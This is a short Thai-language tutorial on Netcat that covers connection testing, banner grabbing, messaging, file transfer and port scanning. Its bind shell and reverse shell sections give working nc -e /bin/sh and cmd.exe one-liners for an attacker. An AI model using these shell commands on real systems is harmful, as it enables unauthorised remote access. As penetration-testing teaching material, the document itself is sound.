Netcat(nc) คือเครื่องมือสารพัดประโยชน์ สามารถทำงานได้หลากหลายมาก ตั้งแต่การทดสอบ connect เข้าไปเหมือนกับ telnet ไปจนถึงการทำเป็น backdoor หรือติดต่อกลับ C&C ก็สามารถทำได้เช่นกัน โดยปกติ nc จะถูกติดตั้งไว้ใน Linux อยู่แล้ว แต่เป็น version ที่ตัด -e ออก เพื่อกันการ execute ไว้ แต่จริงๆก็มีวิธีที่ทำให้ทำงานได้เหมือนๆกันอยู่ เดี๋ยวว่างๆจะเอามาเล่าให้ฟังครับ ตอนนี้ทำแบบง่ายๆก่อน โดย nc สามารถใช้งานได้หลากหลายดังนี้
1. ใช้งาน nc ให้เหมือน telnet
เราสามารถใช้คำสั่งได้เป็น
1 |
nc <target> <port> |
เช่น
1 |
nc 192.168.1.1 80 |
2. ใช้สำหรับการทำ banner grabbing
หลังจากที่เรา connect ไปยังปลายทางได้แล้ว เราสามารถใช้งาน application ต่างๆได้โดยการตรงคำสั่งตาม protocol ต่างๆเช่น HTTP, FTP เป็นต้น เพื่อดูว่าทางปลายทางจะตอบกลับมาอย่างไร
1 2 3 |
nc 192.168.1.1 80 HEAD / HTTP/1.1 Host: target.com |
3. ส่ง message หากัน
เราสามารถส่ง Message มายัง nc ที่ทำเป็น server ไว้ได้ เช่น
Server: (192.168.1.1)
1 2 3 |
nc -lvp <port> หรือ nc -lvp 10000 |
Client (ฝั่งที่ต้องการส่ง message คำว่า “message” ไปยังปลายทาง)
1 2 |
telnet 192.168.1.1 10000 testing |
4. ส่งไฟล์หากัน
เป็นการกระทำที่คล้ายๆกับการส่ง message หากัน เปลี่ยนจาก message กลายเป็นไฟล์แทน
Server: (192.168.1.1)
1 2 3 |
nc -lvp <port> > <output_file_name> หรือ nc -lvp 10000 > out.txt |
Client (ฝั่งที่ต้องการส่ง file test.txt ไปยังปลายทาง)
1 |
cat test.txt | nc 192.168.1.1 10000 |
5. Bind shell
เป็นการรอรับ connection ของฝั่ง Client
Windows
1 2 |
nc -lvp 4444 -e cmd.exe # Windows nc -nv <IP Address> 4444 # Attacker |
Linux
1 2 |
nc -lvp 4444 -e /bin/sh # Linux nc -nv <IP Address> 4444 # Attacker |
6. Reverse Shell
เป็นการส่ง output ของ shell ตอบกลับไปยัง server
Windows
1 2 |
nc -lvp 443 # Attacker listening for connection nc -nv <IP Address> 443 -e cmd.exe |
Linux
1 2 |
nc -lvp 443 nc -nv <IP Address> 443 -e /bin/sh |
7. Scan Port
TCP
1 2 3 |
nc -vnz -w 1 <IP> <Port Range> เช่น nc -vnz -w 1 192.168.1.1 1-30 |
UDP
1 2 3 |
nc -vnzu -w 1 <IP> <Port Range> เช่น nc -vnzu -w 1 192.168.1.1 60-80 |
ที่ download Windows Netcat “http://joncraton.org/blog/46/netcat-for-windows” หรือ ncat version “http://nmap.org/ncat/”
ใน Linux หากต้องการเปลี่ยนไปใช้ traditional Edition สามารถทำได้โดยใช้คำสั่ง
1 |
sudo apt-get install netcat-traditional netcat-openbsd nmap |
หากใช้ nc.openbsd แล้วต้องการเปลี่ยนไปใช้ nc.traditional ให้ใช้คำสั่ง
1 |
update-alternatives --config nc |
Source::
- http://landoflinux.com/linux_netcat_command.html
- https://www.g-loaded.eu/2006/11/06/netcat-a-couple-of-useful-examples/
- http://www.binarytides.com/netcat-tutorial-for-beginners/